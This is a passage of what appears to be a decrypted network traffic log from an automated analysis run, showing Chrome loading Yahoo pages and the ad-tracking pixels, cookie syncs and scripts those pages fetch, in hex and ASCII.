7NH03X_xk4nzR714Pi4Cm56LoRWSa3wB-ZiaR9-fq2z1vcJHRVcZfOWLvnAapEAq2j6iyoQb_yxLSaPEBjuDHdwolPkzlBA-DRmlT4ZKtprzFXmy98zRQ24lBVlsqaWej4VayheXPZ_lCTjdD0tmA11-IdBbmuqQ2GZs64DCA8pDKF_cS64kCPsdOdKLxij_jVQ8xOiIpDwLDLz7J4go_QcvClYS2_xele46OuIWoEilcqqbx2ngsir9VrpFYnu
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 6d 2f 74 72 61 63 6b 69 6d 70 2f 4e 35 35 30 36 2e 32 31 32 35 35 30 31 59 41 48 4f 4f 47 45 4d 49 4e 49 2f 42 33 30 37 39 30 37 34 30 2e 33 38 34 35 33 39 31 32 33 3b 64 63 5f 74 72 6b 5f 61 69 64 3d 35 37 34 38 36 39 30 36 34 3b 64 63 5f 74 72 6b 5f 63 69 64 3d 31 33 37 39 38 36 30 37 31 3b 6f 72 64 3d 63 63 36 37 62 30 65 38 2d 62 30 30 66 2d 31 31 65 65 2d 39 31 37 35 2d 30 30 38 63 66 61 63 33 35 35 34 63 2d 37 66 30 66 30 63 61 63 63 37 30 30 3b 64 63 5f 6c 61 74 3d 3b 64 63 5f 72 64 69 64 3d 3b 74 61 67 5f 66 6f 72 5f 63 68 69 6c 64 5f 64 69 72 65 63 74 65 64 5f 74 72 65 61 74 6d 65 6e 74 3d 3b 74 66 75 61 3d 3b 67 64 70 72 3d 30 3b 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 3b 6c 74 64 3d 3b 64 63 5f 74 64 76 3d 31 3f 5c 5c 5c 22 5d 2c 5c 5c 5c 22 6c Data Ascii: m/trackimp/N5506.2125501YAHOOGEMINI/B30790740.384539123;dc_trk_aid=574869064;dc_trk_cid=137986071;ord=cc67b0e8-b00f-11ee-9175-008cfac3554c-7f0f0cacc700;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;gdpr=0;gdpr_consent=;ltd=;dc_tdv=1?\\\"],\\\"l
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 73 70 6f 6e 73 6f 72 65 64 42 79 4c 61 62 65 6c 5c 5c 5c 22 3a 5c 5c 5c 22 41 64 5c 5c 5c 22 2c 5c 5c 5c 22 73 75 6d 6d 61 72 79 5c 5c 5c 22 3a 5c 5c 5c 22 46 69 6c 65 20 31 30 30 25 20 46 52 45 45 20 77 69 74 68 20 31 30 30 25 20 61 63 63 75 72 61 63 79 2e 20 7e 33 37 25 20 6f 66 20 74 61 78 70 61 79 65 72 73 20 71 75 61 6c 69 66 79 2e 20 31 30 34 30 20 26 20 6c 69 6d 69 74 65 64 20 63 72 65 64 69 74 73 20 6f 6e 6c 79 2e 20 47 65 74 20 54 75 72 62 6f 54 61 78 20 61 6e 64 20 66 69 6c 65 20 6e 6f 77 2e 5c 5c 5c 22 2c 5c 5c 5c 22 74 65 78 74 49 6e 49 6d 61 67 65 4f 76 65 72 6c 61 70 53 65 63 48 71 49 6d 61 67 65 5c 5c 5c 22 3a 5c 5c 5c 22 55 4e 4b 4e 4f 57 4e 5c 5c 5c 22 2c 5c 5c 5c 22 74 65 78 74 49 6e 49 6d 61 67 65 4f 76 65 72 6c 61 70 53 65 63 4f 72 69 Data Ascii: sponsoredByLabel\\\":\\\"Ad\\\",\\\"summary\\\":\\\"File 100% FREE with 100% accuracy. ~37% of taxpayers qualify. 1040 & limited credits only. Get TurboTax and file now.\\\",\\\"textInImageOverlapSecHqImage\\\":\\\"UNKNOWN\\\",\\\"textInImageOverlapSecOri
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 65 26 26 5c 22 66 75 6e 63 74 69 6f 6e 5c 22 3d 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 26 26 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 3d 3d 53 79 6d 62 6f 6c 26 26 65 21 3d 3d 53 79 6d 62 6f 6c 2e 70 72 6f 74 6f 74 79 70 65 3f 5c 22 73 79 6d 62 6f 6c 5c 22 3a 74 79 70 65 6f 66 20 65 7d 29 28 65 29 7d 66 75 6e 63 74 69 6f 6e 20 62 65 61 63 6f 6e 28 29 7b 77 69 6e 64 6f 77 2e 41 43 54 2e 67 52 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 2e 61 64 73 5b 30 5d 2e 64 79 6e 61 6d 69 63 50 72 6f 64 75 63 74 41 64 49 64 26 26 28 28 6e 65 77 20 49 6d 61 67 65 29 2e 73 72 63 3d 77 69 6e 64 6f 77 2e 41 43 54 2e 67 52 65 73 70 6f 6e 73 65 2e 72 65 73 70 6f 6e 73 65 2e 61 64 73 5b 30 5d 2e 62 65 61 63 6f 6e Data Ascii: unction(e){return e&&\"function\"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?\"symbol\":typeof e})(e)}function beacon(){window.ACT.gResponse.response.ads[0].dynamicProductAdId&&((new Image).src=window.ACT.gResponse.response.ads[0].beacon
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 28 29 7d 2c 6e 2e 73 72 63 3d 65 2c 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 6e 29 29 7d 2c 63 68 65 63 6b 49 6e 56 69 65 77 52 65 73 70 6f 6e 73 65 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 7d 2c 69 6e 74 65 72 6e 61 6c 44 61 72 6c 61 4b 65 79 3a 5c 22 5c 22 2c 73 65 74 20 44 61 72 6c 61 4b 65 79 28 65 29 7b 77 69 6e 64 6f 77 2e 41 43 54 2e 6c 61 62 73 2e 69 6e 74 65 72 6e 61 6c 44 61 72 6c 61 4b 65 79 3d 65 7d 2c 67 65 74 20 44 61 72 6c 61 4b 65 79 28 29 7b 72 65 74 75 72 6e 20 77 69 6e 64 6f 77 2e 41 43 54 2e 6c 61 62 73 2e 69 6e 74 65 72 6e 61 6c 44 61 72 6c 61 4b 65 79 7d 7d 2c 73 65 74 54 69 6d 65 6f 75 74 28 62 65 61 63 6f 6e 2c 31 65 33 29 2c 74 68 69 72 64 50 61 72 74 79 28 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 76 Data Ascii: ()},n.src=e,document.head.appendChild(n))},checkInViewResponse:function(){},internalDarlaKey:\"\",set DarlaKey(e){window.ACT.labs.internalDarlaKey=e},get DarlaKey(){return window.ACT.labs.internalDarlaKey}},setTimeout(beacon,1e3),thirdParty(),function(){v

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
350	192.168.2.4	50142	23.33.180.25	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	838	OUT	GET /cksync.php?cs=8&vsid=3479308330180239000V10&type=dxu&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=Rw6Yt2Jl1RnHYF5 HTTP/1.1 Host: contextual.media.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308330180239000V10; usp_status=1; data-rk=968062845637553879~~8; data-g=CAESEE-LbdqTsHKcksq6UKuBoDI~~8
2024-01-10 23:27:19 UTC	624	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-xu=Rw6Yt2Jl1RnHYF5~~8;Expires=Wed, 08 Jan 2025 23:27:19 GMT;path=/;domain=.media.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=31536000 Alt-Svc: h3=":443"; ma=93600 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
351	192.168.2.4	50126	52.46.151.131	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	768	OUT	GET /dcm?pid=78af914c-e755-4b90-bded-1b172aedc763&us_privacy=&gdpr=&gdpr_consent=&id=ZZ8n1IPpYMLwQL_F1CLawgAAAP0AAAIB&gpp=&gpp_sid= HTTP/1.1 Host: s.amazon-adsystem.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ssum-sec.casalemedia.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; ad-privacy=0
2024-01-10 23:27:19 UTC	807	IN	HTTP/1.1 200 OK Server: Server Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif Content-Length: 43 Connection: close x-amz-rid: 0K05YETN29MWW8Z9DK2F Set-Cookie: ad-id=AyjwvOXOUEBhiwCbt7I0SGw; Domain=.amazon-adsystem.com; Expires=Tue, 01-Oct-2024 23:27:19 GMT; Path=/; Secure; HttpOnly; SameSite=None Set-Cookie: ad-privacy=0; Domain=.amazon-adsystem.com; Expires=Sun, 01-Apr-2029 23:27:19 GMT; Path=/; Secure; HttpOnly; SameSite=None Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0 Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT p3p: policyref="https://www.amazon.com/w3c/p3p.xml", CP="PSAo PSDo OUR SAM OTR DSP COR" Vary: Content-Type,Accept-Encoding,User-Agent Strict-Transport-Security: max-age=47474747; includeSubDomains; preload
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 f0 01 00 c0 c0 c0 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
352	192.168.2.4	50107	34.98.64.218	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	911	OUT	GET /w/1.0/cm?cc=1&id=78e2dffc-bb89-4bb2-ae92-f592d006518b&ph=6a16560a-f6c6-4851-b7b5-0b2c0190166a&r=https%3A%2F%2Fcontextual.media.net%2Fcksync.html%3Fcs%3D8%26vsid%3D3479308330180239000V10%26type%3Dopx%26refUrl%3D%26vid%3D49292354493479308330180239000V10%26axid_e%3D%26ovsid%3D HTTP/1.1 Host: us-u.openx.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://contextual.media.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237
2024-01-10 23:27:19 UTC	653	IN	HTTP/1.1 302 Found Vary: Accept, Accept-Encoding Set-Cookie: i=adf1d594-3006-0faa-26e7-7fcb0b6d0f69\|1704929237; Version=1; Expires=Thu, 09-Jan-2025 23:27:19 GMT; Max-Age=31536000; Secure; Domain=.openx.net; Path=/; SameSite=None Server: OXGW/0.0.0 P3P: CP="CUR ADM OUR NOR STA NID" Location: https://contextual.media.net/cksync.html?cs=8&vsid=3479308330180239000V10&type=opx&refUrl=&vid=49292354493479308330180239000V10&axid_e=&ovsid=b6718352-3281-0abd-1f7e-c94ddda5ae48 Date: Wed, 10 Jan 2024 23:27:19 GMT Content-Type: image/gif Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
353	192.168.2.4	50146	69.147.92.11	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	365	OUT	GET /cv/apiv2/weather-svg/CLOUDY.svg HTTP/1.1 Host: s.yimg.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-10 23:27:19 UTC	794	IN	HTTP/1.1 200 OK x-amz-id-2: 1KEA7wBbfqFsnwHZQVIMV30QULKH8mKHZQS2kAL4GVf2Px2gMtdk800cLavS5Aw/Zn8QNaEUGWU= x-amz-request-id: RZ3282EKE9AJV0JM Date: Fri, 05 Jan 2024 02:21:17 GMT Last-Modified: Fri, 13 Nov 2020 21:27:14 GMT ETag: "2ce4c74b57ac265a4ef00aac58c326b3" x-amz-server-side-encryption: AES256 Cache-Control: max-age=31536000 Accept-Ranges: bytes Content-Type: image/svg+xml Server: ATS Content-Length: 1944 Referrer-Policy: no-referrer-when-downgrade Age: 507963 Access-Control-Allow-Origin: * ATS-Carp-Promotion: 1 Connection: close Strict-Transport-Security: max-age=31536000 Expect-CT: max-age=31536000, report-uri="http://csp.yahoo.com/beacon/csp?src=yahoocom-expect-ct-report-only" X-XSS-Protection: 1; mode=block X-Content-Type-Options: nosniff Vary: Origin
2024-01-10 23:27:19 UTC	1300	IN	Data Raw: 3c 73 76 67 20 77 69 64 74 68 3d 22 34 38 22 20 68 65 69 67 68 74 3d 22 34 38 22 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 30 2f 73 76 67 22 20 78 6d 6c 6e 73 3a 78 6c 69 6e 6b 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 6c 69 6e 6b 22 3e 0a 20 20 3c 64 65 66 73 3e 0a 20 20 20 20 3c 6c 69 6e 65 61 72 47 72 61 64 69 65 6e 74 20 78 31 3d 22 36 34 2e 32 37 38 25 22 20 79 31 3d 22 31 30 30 25 22 20 78 32 3d 22 36 34 2e 32 37 38 25 22 20 79 32 3d 22 31 2e 33 35 31 25 22 20 69 64 3d 22 61 22 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 2d 63 6f 6c 6f 72 3d 22 23 42 35 42 44 43 38 22 20 6f 66 66 73 65 74 3d 22 30 25 22 2f 3e 0a 20 20 20 20 20 20 3c 73 74 6f 70 20 73 74 6f 70 Data Ascii: <svg width="48" height="48" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <defs> <linearGradient x1="64.278%" y1="100%" x2="64.278%" y2="1.351%" id="a"> <stop stop-color="#B5BDC8" offset="0%"/> <stop stop
2024-01-10 23:27:19 UTC	644	IN	Data Raw: 20 20 3c 2f 64 65 66 73 3e 0a 20 20 3c 67 20 66 69 6c 6c 3d 22 6e 6f 6e 65 22 20 66 69 6c 6c 2d 72 75 6c 65 3d 22 6e 6f 6e 7a 65 72 6f 22 3e 0a 20 20 20 20 3c 67 20 74 72 61 6e 73 66 6f 72 6d 3d 22 74 72 61 6e 73 6c 61 74 65 28 32 20 38 29 22 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 3d 22 75 72 6c 28 23 61 29 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 62 22 2f 3e 0a 20 20 20 20 20 20 3c 75 73 65 20 66 69 6c 6c 2d 6f 70 61 63 69 74 79 3d 22 2e 30 35 22 20 66 69 6c 6c 3d 22 23 37 44 43 42 46 46 22 20 78 6c 69 6e 6b 3a 68 72 65 66 3d 22 23 62 22 2f 3e 0a 20 20 20 20 3c 2f 67 3e 0a 20 20 20 20 3c 70 61 74 68 20 64 3d 22 4d 32 34 2e 32 20 31 30 2e 35 39 38 63 2e 31 31 37 20 35 2e 34 2d 31 2e 32 36 20 31 30 2e 38 34 32 2d 34 2e 32 34 37 20 31 30 2e Data Ascii: </defs> <g fill="none" fill-rule="nonzero"> <g transform="translate(2 8)"> <use fill="url(#a)" xlink:href="#b"/> <use fill-opacity=".05" fill="#7DCBFF" xlink:href="#b"/> </g> <path d="M24.2 10.598c.117 5.4-1.26 10.842-4.247 10.

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
354	192.168.2.4	50122	162.248.18.37	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	1499	OUT	GET /AdServer/Pug?vcode=bz0yJnR5cGU9MSZqcz0xJmNvZGU9MzI1MCZ0bD0xMjk2MDA=&piggybackCookie=41161a4c-fb0e-4073-8161-2fb10dec6a95&gdpr=0&gdpr_consent= HTTP/1.1 Host: simage2.pubmatic.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: KADUSERCOOKIE=AF1A30B0-24B8-476E-AED4-BE8DCAFA41C4; chkChromeAb67Sec=1; pi=0:2; DPSync3=1704931200%3A248%7C1705449600%3A265%7C1706054400%3A201_263; SyncRTB3=1705449600%3A223%7C1706054400%3A104_54_250_71_165_166_220_21_13; KRTBCOOKIE_1003=22761-cabe22d6-b00f-11ee-b20f-088496e42def&KRTB&23275-cabe22d6-b00f-11ee-b20f-088496e42def; SPugT=1704929238; KRTBCOOKIE_377=6810-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22918-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&22926-bd6a219c-2538-477b-90ee-6d20c7860c4b&KRTB&23031-bd6a219c-2538-477b-90ee-6d20c7860c4b; PugT=1704929238; KRTBCOOKIE_148=19421-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23486-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23489-uid:A342B32A0BAA4852AA53FE42CB7195F6&KRTB&23539-uid:A342B32A0BAA4852AA53FE42CB7195F6
2024-01-10 23:27:19 UTC	696	IN	HTTP/1.1 200 OK Server: nginx Date: Wed, 10 Jan 2024 23:27:18 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1 Connection: close Set-Cookie: KRTBCOOKIE_279=22890-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23011-41161a4c-fb0e-4073-8161-2fb10dec6a95&KRTB&23355-41161a4c-fb0e-4073-8161-2fb10dec6a95; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:18 GMT; path=/ Set-Cookie: PugT=1704929238; domain=pubmatic.com; SameSite=None; secure; expires=Fri, 09-Feb-2024 23:27:18 GMT; path=/ P3P: CP="NOI DSP COR LAW CUR ADMo DEVo TAIo PSAo PSDo IVAo IVDo HISo OTPo OUR SAMo BUS UNI COM NAV INT DEM CNT STA PRE LOC" Cache-Control: no-store, no-cache, private
2024-01-10 23:27:19 UTC	1	IN	Data Raw: 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
355	192.168.2.4	50138	23.55.243.211	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	921	OUT	GET /cksync.php?cs=1&vsid=3479308310180275000V10&type=opx&refUrl=&vid=49292349683479308310180275000V10&axid_e=&ovsid=50996944-41eb-0a14-2f16-7629f8e9c8fd HTTP/1.1 Host: hb.yahoo.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://hb.yahoo.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: visitor-id=3479308310180275000V10; data-mag=LR8EUG12-1F-5JG4~~1; data-mn=3479308330180239000V10~~1; usp_status=1; data-ttd=bd6a219c-2538-477b-90ee-6d20c7860c4b~~1; data-zta=968062845637553879~~63
2024-01-10 23:27:19 UTC	679	IN	HTTP/1.1 200 OK Server: Apache Content-Length: 57 Content-Type: image/gif Set-Cookie: data-opx=50996944-41eb-0a14-2f16-7629f8e9c8fd~~1;Expires=Mon, 08 Jul 2024 23:27:19 GMT;path=/;domain=.hb.yahoo.net; sameSite=none; secure=true p3p: CP="NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA" P3P: CP: NON DSP COR NID CUR ADMa DEVo TAI PSA PSDo HIS OUR BUS COM NAV INT STA Strict-Transport-Security: max-age=86400 ; includeSubDomains Strict-Transport-Security: max-age=604800 x-mnet-hl2: E Expires: Wed, 10 Jan 2024 23:27:19 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Wed, 10 Jan 2024 23:27:19 GMT Connection: close
2024-01-10 23:27:19 UTC	43	IN	Data Raw: 47 49 46 38 37 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 04 0a 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF87a!,L;
2024-01-10 23:27:19 UTC	14	IN	Data Raw: 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
356	192.168.2.4	50140	172.253.122.156	443	1780	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-10 23:27:19 UTC	484	OUT	GET /pagead/js/car.js HTTP/1.1 Host: securepubads.g.doubleclick.net Connection: keep-alive Accept: application/javascript Sec-Fetch-Site: same-origin Sec-Fetch-Mode: same-origin Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: IDE=AHWqTUlCDusljJC9zb3Oa9XYbfCQkZ3JL7YH2g9T3_iu5VLlNxCSCmx5LU9S1K3N4lo
2024-01-10 23:27:19 UTC	681	IN	HTTP/1.1 200 OK P3P: policyref="https://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Vary: Accept-Encoding Date: Wed, 10 Jan 2024 23:27:19 GMT Expires: Thu, 11 Jan 2024 00:27:19 GMT Cache-Control: public, max-age=3600 Content-Type: text/javascript; charset=UTF-8 ETag: 18423492157338463383 X-Content-Type-Options: nosniff Content-Disposition: attachment; filename="f.txt" Server: cafe Content-Length: 6105 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-10 23:27:19 UTC	571	IN	Data Raw: 2f 2a 20 0a 20 0a 20 43 6f 70 79 72 69 67 68 74 20 54 68 65 20 43 6c 6f 73 75 72 65 20 4c 69 62 72 61 72 79 20 41 75 74 68 6f 72 73 2e 20 0a 20 53 50 44 58 2d 4c 69 63 65 6e 73 65 2d 49 64 65 6e 74 69 66 69 65 72 3a 20 41 70 61 63 68 65 2d 32 2e 30 20 0a 2a 2f 20 0a 76 61 72 20 66 3d 74 68 69 73 7c 7c 73 65 6c 66 2c 68 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 63 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 29 7b 7d 62 2e 70 72 6f 74 6f 74 79 70 65 3d 63 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 44 3d 63 2e 70 72 6f 74 6f 74 79 70 65 3b 61 2e 70 72 6f 74 6f 74 79 70 65 3d 6e 65 77 20 62 3b 61 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6f 6e 73 74 72 75 63 74 6f 72 3d 61 3b 61 2e 43 3d 66 75 6e 63 74 69 6f 6e 28 64 2c 65 2c 67 29 7b 66 6f 72 28 76 61 72 20 79 3d 41 72 72 61 79 Data Ascii: /* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var f=this\|\|self,h=function(a,c){function b(){}b.prototype=c.prototype;a.D=c.prototype;a.prototype=new b;a.prototype.constructor=a;a.C=function(d,e,g){for(var y=Array
2024-01-10 23:27:19 UTC	1252	IN	Data Raw: 5c 30 60 29 7c 7c 6e 28 61 3d 3e 61 60 5c 6e 60 29 7c 7c 6e 28 61 3d 3e 61 60 5c 75 30 30 30 30 60 29 2c 71 3d 6d 60 60 26 26 6d 60 5c 30 60 26 26 6d 60 5c 6e 60 26 26 6d 60 5c 75 30 30 30 30 60 3b 66 75 6e 63 74 69 6f 6e 20 72 28 61 2c 63 29 7b 69 66 28 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 29 45 72 72 6f 72 2e 63 61 70 74 75 72 65 53 74 61 63 6b 54 72 61 63 65 28 74 68 69 73 2c 72 29 3b 65 6c 73 65 7b 63 6f 6e 73 74 20 62 3d 45 72 72 6f 72 28 29 2e 73 74 61 63 6b 3b 62 26 26 28 74 68 69 73 2e 73 74 61 63 6b 3d 62 29 7d 61 26 26 28 74 68 69 73 2e 6d 65 73 73 61 67 65 3d 53 74 72 69 6e 67 28 61 29 29 3b 76 6f 69 64 20 30 21 3d 3d 63 26 26 28 74 68 69 73 2e 63 61 75 73 65 3d 63 29 7d 68 28 72 2c 45 72 72 6f 72 29 3b 72 2e 70 Data Ascii: \0`)\|\|n(a=>a`\n`)\|\|n(a=>a`\u0000`),q=m``&&m`\0`&&m`\n`&&m`\u0000`;function r(a,c){if(Error.captureStackTrace)Error.captureStackTrace(this,r);else{const b=Error().stack;b&&(this.stack=b)}a&&(this.message=String(a));void 0!==c&&(this.cause=c)}h(r,Error);r.p
2024-01-10 23:27:19 UTC	1252	IN	Data Raw: 65 20 62 75 69 6c 74 20 64 69 72 65 63 74 6c 79 22 29 3b 74 68 69 73 2e 76 3d 22 22 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 76 2e 74 6f 53 74 72 69 6e 67 28 29 7d 7d 6e 65 77 20 44 3b 63 6f 6e 73 74 20 45 3d 7b 7d 3b 63 6c 61 73 73 20 46 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 29 7b 69 66 28 45 21 3d 3d 45 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 53 61 66 65 53 74 79 6c 65 53 68 65 65 74 20 69 73 20 6e 6f 74 20 6d 65 61 6e 74 20 74 6f 20 62 65 20 62 75 69 6c 74 20 64 69 72 65 63 74 6c 79 22 29 3b 74 68 69 73 2e 75 3d 22 22 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 75 2e 74 6f 53 74 72 69 6e 67 28 29 7d 7d 6e 65 77 20 46 3b 63 6f 